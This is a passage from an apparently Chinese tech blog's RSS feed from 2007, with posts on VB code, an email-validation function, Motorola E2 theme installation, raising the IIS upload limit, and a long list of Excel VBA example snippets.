bgcolor="#eff7f0"&gt;    &lt;td width="50%"&gt;&lt;a target="_blank" href="http://www.skycn.com/soft/2993.html"&gt;&lt;img height="37" width="42" align="absMiddle" border="0" src="http://www.hao123.com/soft/images/U616P176T6D5227F19DT20040316184728.gif"&gt;&lt;font color="#000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 超级兔子魔法设置 最新版&lt;/font&gt;&lt;/a&gt;&lt;/td&gt;    &lt;td width="50%" rowspan="2"&gt;对Windows的隐藏参数进行调整的系统设置软件。&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#eff7f0"&gt;&lt;td class="td1"&gt;&lt;font color="#ff0000"&gt;下载提示：&lt;/font&gt;&lt;br&gt;　　&lt;a target="_blank" href="http://dl.pconline.com.cn/html_2/1/75/id=273&amp;amp;pn=0.html"&gt;&lt;font color="#000000"&gt;点这里到 -&amp;gt; 太平洋下载&lt;/font&gt;&lt;/a&gt;&lt;br&gt;　　&lt;a target="_blank" href="http://www.onlinedown.net/soft/2636.htm"&gt;&lt;font color="#000000"&gt;点这里到 -&amp;gt; 华军软件下载&lt;/font&gt;&lt;/a&gt;&lt;br&gt;　　&lt;a target="_blank" href="http://www.skycn.com/soft/2993.html"&gt;&lt;font color="#000000"&gt;点这里到 -&amp;gt; 天空软件下载&lt;/font&gt;&lt;/a&gt; 　　&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;/p&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/c211cb3d987101c19f3d62b9.jpg"&gt; &lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/d3dea5ef78a4a710fdfa3cba.jpg"&gt; &lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/4edcb5456469b820cffca3bb.jpg"&gt; &lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/c999820acc188638b1351dbb.jpg"&gt; &lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/fcf63f6d0b3a88fd43169484.jpg"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=66</guid><pubDate>Sun, 10 Jun 2007 06:53:00 GMT</pubDate></item><item><title>[VB控件]超酷个性化菜单(一个类文件)</title><link>http://www.chendw.cn:8080/view.aspx?id=65</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1"&gt;&lt;img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/cdwm/pic/item/30d2d3c85e2ded117f3e6fae.jpg"&gt;&lt;/div&gt;&lt;div forimg="1"&gt;一个不错的菜单类文件，可以实现多种菜单风格，如Window 标准、XP 风格、3D 立体风格、渐变风格、多彩风格等。简单使用，完整代码。&lt;br&gt;&lt;/div&gt;&lt;div forimg="1"&gt;&lt;a target="_blank" href="http://cdws.gbaopan.com/files/8b00bbaff0024f50954b3dd33879a66f.gbp"&gt;点击下载&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=65</guid><pubDate>Fri, 08 Jun 2007 09:31:00 GMT</pubDate></item><item><title>[MOTO E2]安装主题</title><link>http://www.chendw.cn:8080/view.aspx?id=64</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;br&gt;&lt;font color="#33cccc"&gt; 手动方法: &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;font color="#33cccc"&gt;一．首先保证电脑里有Ｅ２的驱动　如果没有　在论坛搜索〔万能驱动〕下载安装即可！ &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#33cccc"&gt;二．拿出手机－进入主菜单－设置－连接－选择ＵＳＢ　ＮＥＴ模式 &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#33cccc"&gt;三．插上数据线连接手机 &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#33cccc"&gt;四．打开主题压缩文件,然后在ＩＥ上输入&lt;/font&gt;&lt;a href="file://  192.168.16.2 system ezxlocal download appwrite"&gt;&lt;font color="#33cccc"&gt;\\192.168.16.2\system\ezxlocal\download\appwrite&lt;/font&gt;&lt;/a&gt;&lt;font color="#33cccc"&gt; &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#33cccc"&gt;五．把主题压缩文件里的ＳＫＩＮ直接复制到&lt;/font&gt;&lt;a href="file://  192.168.16.2 system ezxlocal download appwrite"&gt;&lt;font color="#33cccc"&gt;\\192.168.16.2\system\ezxlocal\download\appwrite&lt;/font&gt;&lt;/a&gt;&lt;font color="#33cccc"&gt;　这里！ &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#33cccc"&gt;六．再把主题压缩文件里的setuptheme文件夹里的文件复制到&lt;/font&gt;&lt;a href="file://  192.168.16.2 system ezxlocal download appwrite setuptheme"&gt;&lt;font color="#33cccc"&gt;\\192.168.16.2\system\ezxlocal\download\appwrite\setuptheme&lt;/font&gt;&lt;/a&gt;&lt;font color="#33cccc"&gt; &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#33cccc"&gt;七．安全删除硬件．直接在手机主题里应用主题，不用做任何修改，运行没有任何问题！ &lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=64</guid><pubDate>Tue, 05 Jun 2007 00:40:00 GMT</pubDate></item><item><title>[VB]检测邮箱的有效性</title><link>http://www.chendw.cn:8080/view.aspx?id=63</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;function IsValidEmail(email)&lt;/p&gt;&lt;p&gt;dim names, name, i, c&lt;/p&gt;&lt;p&gt;'Check for valid syntax in an email address.&lt;br&gt;'检查邮箱的字符串是否合法&lt;/p&gt;&lt;p&gt;IsValidEmail = true&lt;br&gt;names = Split(email, "@")&lt;br&gt;if UBound(names) &amp;lt;&amp;gt; 1 then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IsValidEmail = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit function&lt;br&gt;end if&lt;br&gt;for each name in names&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if Len(name) &amp;lt;= 0 then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IsValidEmail = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; end if&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for i = 1 to Len(name)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c = Lcase(Mid(name, i, 1))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if InStr("abcdefghijklmnopqrstuvwxyz_-.", c) &amp;lt;= 0 and not IsNumeric(c) then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IsValidEmail = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end if&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; next&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if Left(name, 1) = "." or Right(name, 1) = "." then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IsValidEmail = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit function&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; end if&lt;br&gt;next&lt;br&gt;if InStr(names(1), ".") &amp;lt;= 0 then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IsValidEmail = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit function&lt;br&gt;end if&lt;br&gt;i = Len(names(1)) - InStrRev(names(1), ".")&lt;br&gt;if i &amp;lt;&amp;gt; 2 and i &amp;lt;&amp;gt; 3 then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IsValidEmail = false&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit function&lt;br&gt;end if&lt;br&gt;if InStr(email, "..") &amp;gt; 0 then&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; IsValidEmail = false&lt;br&gt;end if&lt;/p&gt;&lt;p&gt;end function&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=63</guid><pubDate>Tue, 29 May 2007 00:30:00 GMT</pubDate></item><item><title>2003系统上传超过200K的限制</title><link>http://www.chendw.cn:8080/view.aspx?id=62</link><description>&lt;div id="blog_text" class="cnt"&gt;2003系统上传超过200K的限制&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 进入dos里用iisreset /stop 停止IIS服务&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 找到 C:\windows\sytem32\inetserv\metabase.xml，用记事本打开&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 寻找 AspMaxRequestEntityAllowed &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 将 204800 (200KB) 改成需要的大小&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 保存&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 再到dos里,运行iisreset /start&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 一定要停哦,要不然不让你修改&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=62</guid><pubDate>Sat, 28 Mar 2009 12:43:56 GMT</pubDate></item><item><title>[VB]各种Excel VBA的命令</title><link>http://www.chendw.cn:8080/view.aspx?id=61</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;font color="#ffcc00"&gt;本示例为设置密码窗口 (1) &lt;br&gt;If Application.InputBox("请输入密码：") = 1234 Then &lt;br&gt;[A1] = 1 '密码正确时执行 &lt;br&gt;Else: MsgBox "密码错误，即将退出！" '此行与第2行共同设置密码 &lt;br&gt;End If &lt;br&gt;&lt;br&gt;本示例为设置密码窗口 (1) &lt;br&gt;X = MsgBox("是否真的要结帐？", vbYesNo) &lt;br&gt;If X = vbYes Then &lt;br&gt;Close &lt;br&gt;&lt;br&gt;本示例为设置工作表密码 &lt;br&gt;ActiveSheet.Protect Password:=641112 ' 保护工作表并设置密码 &lt;br&gt;ActiveSheet.Unprotect Password:=641112 '撤消工作表保护并取消密码 &lt;br&gt;&lt;br&gt;'本示例关闭除正在运行本示例的工作簿以外的其他所有工作簿，并保存其更改内容 &lt;br&gt;&lt;br&gt;。 &lt;br&gt;For Each w In Workbooks &lt;br&gt;If w.Name ThisWorkbook.Name Then &lt;br&gt;w.Close SaveChanges:=True &lt;br&gt;End If &lt;br&gt;Next w &lt;br&gt;&lt;br&gt;'每次打开工作簿时，本示例都最大化 Microsoft Excel 窗口。 &lt;br&gt;Application.WindowState = xlMaximized &lt;br&gt;&lt;br&gt;'本示例显示活动工作表的名称。 &lt;br&gt;MsgBox "The name of the active sheet is " &amp;amp; ActiveSheet.Name &lt;br&gt;&lt;br&gt;'本示例保存当前活动工作簿的副本。 &lt;br&gt;ActiveWorkbook.SaveCopyAs "C:\TEMP\XXXX.XLS" &lt;br&gt;&lt;br&gt;'下述过程激活工作簿中的第四张工作表。 &lt;br&gt;Sheets(4).Activate &lt;br&gt;&lt;br&gt;&lt;br&gt;'下述过程激活工作簿中的第1张工作表。 &lt;br&gt;Worksheets(1).Activate &lt;br&gt;&lt;br&gt;'本示例通过将 Saved 属性设为 True 来关闭包含本段代码的工作簿，并放弃对该 &lt;br&gt;&lt;br&gt;工作簿的任何更改。 &lt;br&gt;ThisWorkbook.Saved = True &lt;br&gt;ThisWorkbook.Close &lt;br&gt;&lt;br&gt;'本示例对自动重新计算功能进行设置，使 Microsoft Excel 不对第一张工作表自 &lt;br&gt;&lt;br&gt;动进行重新计算。 &lt;br&gt;Worksheets(1).EnableCalculation = False &lt;br&gt;&lt;br&gt;'下述过程打开 C 盘上名为 MyFolder 的文件夹中的 MyBook.xls 工作簿。 &lt;br&gt;Workbooks.Open ("C:\MyFolder\MyBook.xls") &lt;br&gt;&lt;br&gt;'本示例显示活动工作簿中工作表 sheet1 上单元格 A1 中的值。 &lt;br&gt;MsgBox Worksheets("Sheet1").Range("A1").Value &lt;br&gt;&lt;br&gt;本示例显示活动工作簿中每个工作表的名称 &lt;br&gt;For Each ws In Worksheets &lt;br&gt;MsgBox ws.Name &lt;br&gt;Next ws &lt;br&gt;&lt;br&gt;本示例向活动工作簿添加新工作表 , 并设置该工作表的名称? &lt;br&gt;Set NewSheet = Worksheets.Add &lt;br&gt;NewSheet.Name = "current Budget" &lt;br&gt;&lt;br&gt;本示例将新建的工作表移到工作簿的末尾 &lt;br&gt;'Private Sub Workbook_NewSheet(ByVal Sh As Object) &lt;br&gt;Sh.Move After:=Sheets(Sheets.Count) &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例将新建工作表移到工作簿的末尾 &lt;br&gt;'Private Sub App_WorkbookNewSheet(ByVal Wb As Workbook, _ &lt;br&gt;ByVal Sh As Object) &lt;br&gt;Sh.Move After:=Wb.Sheets(Wb.Sheets.Count) &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例新建一张工作表，然后在第一列中列出活动工作簿中的所有工作表的名称。 &lt;br&gt;Set NewSheet = Sheets.Add(Type:=xlWorksheet) &lt;br&gt;For i = 1 To Sheets.Count &lt;br&gt;NewSheet.Cells(i, 1).Value = Sheets(i).Name &lt;br&gt;Next i &lt;br&gt;&lt;br&gt;本示例将第十行移到窗口的最上面? &lt;br&gt;Worksheets("Sheet1").Activate &lt;br&gt;ActiveWindow.ScrollRow = 10 &lt;br&gt;&lt;br&gt;当计算工作簿中的任何工作表时，本示例对第一张工作表的 A1:A100 区域进行排序 &lt;br&gt;&lt;br&gt;。 &lt;br&gt;'Private Sub Workbook_SheetCalculate(ByVal Sh As Object) &lt;br&gt;With Worksheets(1) &lt;br&gt;.Range("a1:a100").Sort Key1:=.Range("a1") &lt;br&gt;End With &lt;br&gt;End Sub &lt;br&gt;本示例显示工作表 Sheet1 的打印预览。 &lt;br&gt;Worksheets("Sheet1").PrintPreview &lt;br&gt;&lt;br&gt;本示例保存当前活动工作簿? &lt;br&gt;ActiveWorkbook.Save &lt;br&gt;&lt;br&gt;本示例保存所有打开的工作簿，然后关闭 Microsoft Excel。 &lt;br&gt;For Each w In Application.Workbooks &lt;br&gt;w.Save &lt;br&gt;Next w &lt;br&gt;Application.Quit &lt;br&gt;&lt;br&gt;下例在活动工作簿的第一张工作表前面添加两张新的工作表? &lt;br&gt;Worksheets.Add Count:=2, Before:=Sheets(1) &lt;br&gt;&lt;br&gt;本示例设置 15 秒后运行 my_Procedure 过程，从现在开始计时。 &lt;br&gt;Application.OnTime Now + TimeValue("00:00:15"), "my_Procedure" &lt;br&gt;&lt;br&gt;本示例设置 my_Procedure 在下午 5 点开始运行。 &lt;br&gt;Application.OnTime TimeValue("17:00:00"), "my_Procedure" &lt;br&gt;&lt;br&gt;本示例撤消前一个示例对 OnTime 的设置。 &lt;br&gt;Application.OnTime EarliestTime:=TimeValue("17:00:00"), _ &lt;br&gt;Procedure:="my_Procedure", Schedule:=False &lt;br&gt;&lt;br&gt;每当工作表重新计算时，本示例就调整 A 列到 F 列的宽度。 &lt;br&gt;'Private Sub Worksheet_Calculate() &lt;br&gt;Columns("A:F").AutoFit &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例使活动工作簿中的计算仅使用显示的数字精度。 &lt;br&gt;ActiveWorkbook.PrecisionAsDisplayed = True &lt;br&gt;&lt;br&gt;本示例将工作表 Sheet1 上的 A1:G37 区域剪下，并放入剪贴板。 &lt;br&gt;Worksheets("Sheet1").Range("A1:G37").Cut &lt;br&gt;&lt;br&gt;Calculate 方法 &lt;br&gt;计算所有打开的工作簿、工作簿中的一张特定的工作表或者工作表中指定区域的单元 &lt;br&gt;&lt;br&gt;格，如下表所示： &lt;br&gt;'要计算 '依照本示例 &lt;br&gt;所有打开的工作簿 ' Application.Calculate （或只是 Calculate &lt;br&gt;&lt;br&gt;） &lt;br&gt;指定工作表 '计算指定工作表Sheet1 Worksheets &lt;br&gt;&lt;br&gt;("Sheet1").Calculate &lt;br&gt;指定区域 'Worksheets(1).Rows(2).Calculate &lt;br&gt;&lt;br&gt;本示例对自动重新计算功能进行设置，使 Microsoft Excel 不对第一张工作表自动 &lt;br&gt;&lt;br&gt;进行重新计算。 &lt;br&gt;Worksheets(1).EnableCalculation = False &lt;br&gt;&lt;br&gt;本示例计算 Sheet1 已用区域中 A 列、B 列和 C 列的公式。 &lt;br&gt;Worksheets("Sheet1").UsedRange.Columns("A:C").Calculate &lt;br&gt;&lt;br&gt;本示例更新当前活动工作簿中的所有链接? &lt;br&gt;ActiveWorkbook.UpdateLink Name:=ActiveWorkbook.LinkSources &lt;br&gt;&lt;br&gt;本示例设置第一张工作表的滚动区域? &lt;br&gt;Worksheets(1).ScrollArea = "a1:f10" &lt;br&gt;&lt;br&gt;本示例新建一个工作簿，提示用户输入文件名，然后保存该工作簿。 &lt;br&gt;Set NewBook = Workbooks.Add &lt;br&gt;Do &lt;br&gt;fName = Application.GetSaveAsFilename &lt;br&gt;Loop Until fName False &lt;br&gt;NewBook.SaveAs Filename:=fName &lt;br&gt;&lt;br&gt;本示例打开 Analysis.xls 工作簿，然后运行 Auto_Open 宏。 &lt;br&gt;Workbooks.Open "ANALYSIS.XLS" &lt;br&gt;ActiveWorkbook.RunAutoMacros xlAutoOpen &lt;br&gt;&lt;br&gt;本示例对活动工作簿运行 Auto_Close 宏，然后关闭该工作簿。 &lt;br&gt;With ActiveWorkbook &lt;br&gt;.RunAutoMacros xlAutoClose &lt;br&gt;.Close &lt;br&gt;End With &lt;br&gt;&lt;br&gt;在本示例中，Microsoft Excel 向用户显示活动工作簿的路径和文件名称。 &lt;br&gt;'Sub UseCanonical() &lt;br&gt;Display the full path to user. &lt;br&gt;MsgBox ActiveWorkbook.FullNameURLEncoded &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例显示当前工作簿的路径及文件名（假定尚未保存此工作簿）。 &lt;br&gt;MsgBox ActiveWorkbook.FullName &lt;br&gt;&lt;br&gt;本示例关闭 Book1.xls，并放弃所有对此工作簿的更改。 &lt;br&gt;Workbooks("BOOK1.XLS").Close SaveChanges:=False &lt;br&gt;&lt;br&gt;本示例关闭所有打开的工作簿。如果某个打开的工作簿有改变，Microsoft Excel &lt;br&gt;&lt;br&gt;将显示询问是否保存更改的对话框和相应提示。 &lt;br&gt;Workbooks.Close &lt;br&gt;&lt;br&gt;本示例在打印之前对当前活动工作簿的所有工作表重新计算? &lt;br&gt;'Private Sub Workbook_BeforePrint(Cancel As Boolean) &lt;br&gt;For Each wk In Worksheets &lt;br&gt;wk.Calculate &lt;br&gt;Next &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例对查询表一中的第一列数据进行汇总，并在数据区域下方显示第一列数据的总 &lt;br&gt;&lt;br&gt;和。 &lt;br&gt;Set c1 = Sheets("sheet1").QueryTables(1).ResultRange.Columns(1) &lt;br&gt;c1.Name = "Column1" &lt;br&gt;c1.End(xlDown).Offset(2, 0).Formula = "=sum(Column1)" &lt;br&gt;&lt;br&gt;本示例取消活动工作簿中的所有更改? &lt;br&gt;ActiveWorkbook.RejectAllChanges &lt;br&gt;&lt;br&gt;本示例在商业问题中使用规划求解函数，以使总利润达到最大值。SolverSave 函数 &lt;br&gt;&lt;br&gt;将当前问题保存到活动工作表上的某一区域。 &lt;br&gt;Worksheets("Sheet1").Activate &lt;br&gt;SolverReset &lt;br&gt;SolverOptions Precision:=0.001 &lt;br&gt;SolverOK SetCell:=Range("TotalProfit"), _ &lt;br&gt;MaxMinVal:=1, _ &lt;br&gt;ByChange:=Range("C4:E6") &lt;br&gt;SolverAdd CellRef:=Range("F4:F6"), _ &lt;br&gt;Relation:=1, _ &lt;br&gt;FormulaText:=100 &lt;br&gt;SolverAdd CellRef:=Range("C4:E6"), _ &lt;br&gt;Relation:=3, _ &lt;br&gt;FormulaText:=0 &lt;br&gt;SolverAdd CellRef:=Range("C4:E6"), _ &lt;br&gt;Relation:=4 &lt;br&gt;SolverSolve UserFinish:=False &lt;br&gt;SolverSave SaveArea:=Range("A33") &lt;br&gt;&lt;br&gt;本示例隐藏 Chart1、Chart3 和 Chart5。 &lt;br&gt;Charts(Array("Chart1", "Chart3", "Chart5")).Visible = False &lt;br&gt;&lt;br&gt;当激活工作表时，本示例对 A1:A10 区域进行排序。 &lt;br&gt;'Private Sub Worksheet_Activate() &lt;br&gt;Range("a1:a10").Sort Key1:=Range("a1"), order:=xlAscending &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例更改 Microsoft Excel 链接。 &lt;br&gt;ActiveWorkbook.ChangeLink "c:\excel\book1.xls", _ &lt;br&gt;"c:\excel\book2.xls", xlExcelLinks &lt;br&gt;&lt;br&gt;本示例启用受保护的工作表上的自动筛选箭头? &lt;br&gt;ActiveSheet.EnableAutoFilter = True &lt;br&gt;ActiveSheet.Protect contents:=True, userInterfaceOnly:=True &lt;br&gt;&lt;br&gt;本示例将活动工作簿设为只读? &lt;br&gt;ActiveWorkbook.ChangeFileAccess Mode:=xlReadOnly &lt;br&gt;&lt;br&gt;本示例使共享工作簿每三分钟自动更新一次? &lt;br&gt;ActiveWorkbook.AutoUpdateFrequency = 3 &lt;br&gt;&lt;br&gt;下述 Sub 过程清除活动工作簿中 Sheet1 上的所有单元格的内容。 &lt;br&gt;'Sub ClearSheet() &lt;br&gt;Worksheets("Sheet1").Cells.ClearContents &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例对所有工作簿都关闭滚动条? &lt;br&gt;Application.DisplayScrollBars = False &lt;br&gt;&lt;br&gt;如果具有密码保护的工作簿的文件属性没有加密，则本示例设置指定工作簿的密码加 &lt;br&gt;&lt;br&gt;密选项。 &lt;br&gt;'Sub SetPasswordOptions() &lt;br&gt;With ActiveWorkbook &lt;br&gt;If .PasswordEncryptionProvider "Microsoft RSA SChannel &lt;br&gt;&lt;br&gt;Cryptographic Provider" Then &lt;br&gt;.SetPasswordEncryptionOptions _ &lt;br&gt;PasswordEncryptionProvider:="Microsoft RSA SChannel &lt;br&gt;&lt;br&gt;Cryptographic Provider", _ &lt;br&gt;PasswordEncryptionAlgorithm:="RC4", _ &lt;br&gt;PasswordEncryptionKeyLength:=56, _ &lt;br&gt;PasswordEncryptionFileProperties:=True &lt;br&gt;End If &lt;br&gt;End With &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;在本示例中，如果活动工作簿不能进行写保护，那么 Microsoft Excel 设置字符串 &lt;br&gt;&lt;br&gt;密码以作为活动工作簿的写密码。 &lt;br&gt;'Sub UseWritePassword() &lt;br&gt;Dim strPassword As String &lt;br&gt;strPassword = "secret" &lt;br&gt;' Set password to a string if allowed. &lt;br&gt;If ActiveWorkbook.WriteReserved = False Then &lt;br&gt;ActiveWorkbook.WritePassword = strPassword &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;在本示例中，Microsoft Excel 打开名为 Password.xls 的工作簿，设置它的密码 &lt;br&gt;&lt;br&gt;，然后关闭该工作簿。本示例假定名为 Password.xls 的文件位于 C:\ 驱动器上。 &lt;br&gt;'Sub UsePassword() &lt;br&gt;&lt;br&gt;Dim wkbOne As Workbook &lt;br&gt;&lt;br&gt;Set wkbOne = Application.Workbooks.Open("C:\Password.xls") &lt;br&gt;&lt;br&gt;wkbOne.Password = "secret" &lt;br&gt;wkbOne.Close &lt;br&gt;'注意 Password 属性可读并返回 “********”。 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例将 Book1.xls 的当前窗口更改为显示公式。 &lt;br&gt;Workbooks("BOOK1.XLS").Worksheets("Sheet1").Activate &lt;br&gt;ActiveWindow.DisplayFormulas = True &lt;br&gt;&lt;br&gt;'本示例接受活动工作簿中的所有更改? &lt;br&gt;ActiveWorkbook.AcceptAllChanges &lt;br&gt;&lt;br&gt;本示例显示活动工作簿的路径和名称 &lt;br&gt;Sub UseCanonical() &lt;br&gt;MsgBox '消息框 &lt;br&gt;[b7] = ActiveWorkbook.FullName '当前工作簿 &lt;br&gt;[b8] = ActiveWorkbook.FullNameURLEncoded '活动工作簿 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例显示 Microsoft Excel 启动文件夹的完整路径。 &lt;br&gt;MsgBox Application.StartupPath &lt;br&gt;&lt;br&gt;本示例显示活动工作簿中每个工作表的名称。 &lt;br&gt;For Each ws In Worksheets &lt;br&gt;MsgBox ws.Name &lt;br&gt;Next ws &lt;br&gt;&lt;br&gt;本示例关闭除正在运行本示例的工作簿以外的其他所有工作簿，并保存其更改内容。 &lt;br&gt;For Each w In Workbooks &lt;br&gt;If w.Name ThisWorkbook.Name Then &lt;br&gt;w.Close savechanges:=True &lt;br&gt;End If &lt;br&gt;Next w &lt;br&gt;&lt;br&gt;Activate 事件 &lt;br&gt;激活一个工作簿、工作表、图表或嵌入图表时产生此事件。 &lt;br&gt;当激活工作表时，本示例对 A1:A10 区域进行排序。 &lt;br&gt;Private Sub Worksheet_Activate() &lt;br&gt;Range("a1:a10").Sort Key1:=Range("a1"), order:=xlAscending &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Calculate 事件 &lt;br&gt;对于 Worksheet 对象，在对工作表进行重新计算之后产生此事件 &lt;br&gt;每当工作表重新计算时，本示例就调整 A 列到 F 列的宽度。 &lt;br&gt;Private Sub Worksheet_Calculate() &lt;br&gt;Columns("A:F").AutoFit &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;BeforeDoubleClick 事件 &lt;br&gt;应用于 Worksheet 对象的 Activate 方法。 &lt;br&gt;当双击某工作表时产生此事件，此事件先于默认的双击操作。 &lt;br&gt;Private Sub expression_BeforeDoubleClick(ByVal Target As Range, Cancel &lt;br&gt;&lt;br&gt;As Boolean) &lt;br&gt;expression 引用在类模块中带有事件声明的 Worksheet 类型对象的变量。 &lt;br&gt;Target 必需。双击发生时最靠近鼠标指针的单元格。 &lt;br&gt;Cancel 可选。当事件发生时为 False。如果事件过程将该参数设为 True，则该 &lt;br&gt;&lt;br&gt;过程执行完之后将不进行默认的双击操作。 &lt;br&gt;&lt;br&gt;BeforeRightClick 事件 &lt;br&gt;应用于 Worksheet 对象的 Activate 方法。 &lt;br&gt;当用鼠标右键单击某工作表时产生此事件，此事件先于默认的右键单击操作。 &lt;br&gt;Private Sub expression_BeforeRightClick(ByVal Target As Range, Cancel &lt;br&gt;&lt;br&gt;As Boolean) &lt;br&gt;expression 引用在类模块中带有事件声明的 Worksheet 类型对象的变量。 &lt;br&gt;Target 必需。右键单击发生时最靠近鼠标指针的单元格。 &lt;br&gt;Cancel 可选。当事件发生时为 False。如果该事件过程将本参数设为 True，则 &lt;br&gt;&lt;br&gt;该过程执行结束之后不进行默认的右键单击操作。 &lt;br&gt;&lt;br&gt;Change 事件 &lt;br&gt;当用户更改工作表中的单元格，或外部链接引起单元格的更改时产生此事件。 &lt;br&gt;Private Sub Worksheet_Change(ByVal Target As Range) &lt;br&gt;Target 更改的区域。可以是多个单元格。 &lt;br&gt;说明 &lt;br&gt;重新计算引起的单元格更改不触发本事件。可使用 Calculate 事件俘获工作表重新 &lt;br&gt;&lt;br&gt;计算操作。 &lt;br&gt;本示例将更改的单元格的颜色设为蓝色。 &lt;br&gt;Private Sub Worksheet_Change(ByVal Target as Range) &lt;br&gt;Target.Font.ColorIndex = 5 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Deactivate 事件 &lt;br&gt;图表、工作表或工作簿从活动状态转为非活动状态时产生此事件。 &lt;br&gt;Private Sub object_Deactivate() &lt;br&gt;object Chart、Workbook 或者 Worksheet。有关对 Chart 对象使用事件的详细 &lt;br&gt;&lt;br&gt;信息，请参阅 Chart 对象事件的用法。 &lt;br&gt;本示例当工作簿转为非活动状态时，对所有打开的窗口进行排列。 &lt;br&gt;Private Sub Workbook_Deactivate() &lt;br&gt;Application.Windows.Arrange xlArrange &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;FollowHyperlink 事件 &lt;br&gt;当单击工作表上的任意超链接时，发生此事件。对于应用程序级或工作簿级的事件， &lt;br&gt;&lt;br&gt;请参阅 SheetFollowHyperlink 事件。 &lt;br&gt;Private Sub Worksheet_FollowHyperlink(ByVal Target As Hyperlink) &lt;br&gt;Target Hyperlink 类型，必需。一个代表超链接目标位置的 Hyperlink 